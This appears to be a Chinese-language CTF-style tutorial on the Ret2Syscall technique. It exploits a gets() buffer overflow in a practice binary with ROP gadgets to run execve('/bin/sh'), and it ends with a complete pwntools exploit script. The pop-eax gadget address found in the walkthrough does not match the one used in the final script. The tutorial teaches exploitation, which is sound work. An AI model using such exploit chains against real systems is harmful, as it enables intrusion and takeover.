Ret2Syscall,即控制程序执行系统调用,进而获取shell。
下面看看我们的vuln程序。
可以看出,程序中的gets有明显的 溢出漏洞
用gdb打开,
检查一下文件开启了哪些防护:
可以看出程序开启了 NX(栈不可执行)防护,那么,我们可以用ROP绕过防护
接来下,我们利用溢出漏洞来控制程序执行syscall(系统调用)
有关syscall系统调用的信息,可以在这里查看:http://syscalls.kernelgrok.com/
漏洞利用思路:
1、计算字符串存储开始的地方到EBP之间的长度。
2、用某个字符填充这一段内存。
3、找到系统调用的地址 (int 80)
4、找到系统调用需要的参数,可以在上面的那个网站查看,我们分别需要控制eax,ebx,ecx,edx这4个寄存器
5、找到相应的gadget,即pop..ret的地址、“/bin/sh”的地址
这里可以看出v4(放我们输入的字符串的地方)在esp+1C的地方
相对应栈顶指针的索引,一般需要进行调试
我们把断点定在gets处:
计算:ESP+1C - EBP = 0x6C (108)
因为这个32位程序,所以在108+4个字符后,就开始覆盖EIP了,即开始覆盖函数的返回地址。
所以 payload='A' * 112
我们调用syscall之前,需要先把参数设置好
eax:0xb( sys_execve),ebx:‘/bin/sh’的地址,ecx:NULL,edx:NULL
这里就需要利用到我们的gadget,
我们可以通过 ROPgadget.py 来获取我们需要的gadget
命令:python ROP.py --binary ./rop2syscall --only "pop|ret" | grep 'eax'
得到:0x0804f704 : pop eax ; ret 3
命令:python ROP.py --binary ./rop2syscall --only "pop|ret"
得到:0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
命令: python ROP.py --binary ./rop2syscall --string "/bin/sh"
得到:0x080be408 : /bin/sh
命令:python ROP.py --binary ./rop2syscall --only "int"
得到:0x08049421 : int 0x80
得到地址后,我们继续构造payload
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)
payload += p32(syscall)
完整的exp:
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
syscall = 0x08049421
#80
io=process('./rop2syscall')
payload = 'A'*112
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)
payload += p32(syscall)
io.sendline(payload)
io.interactive()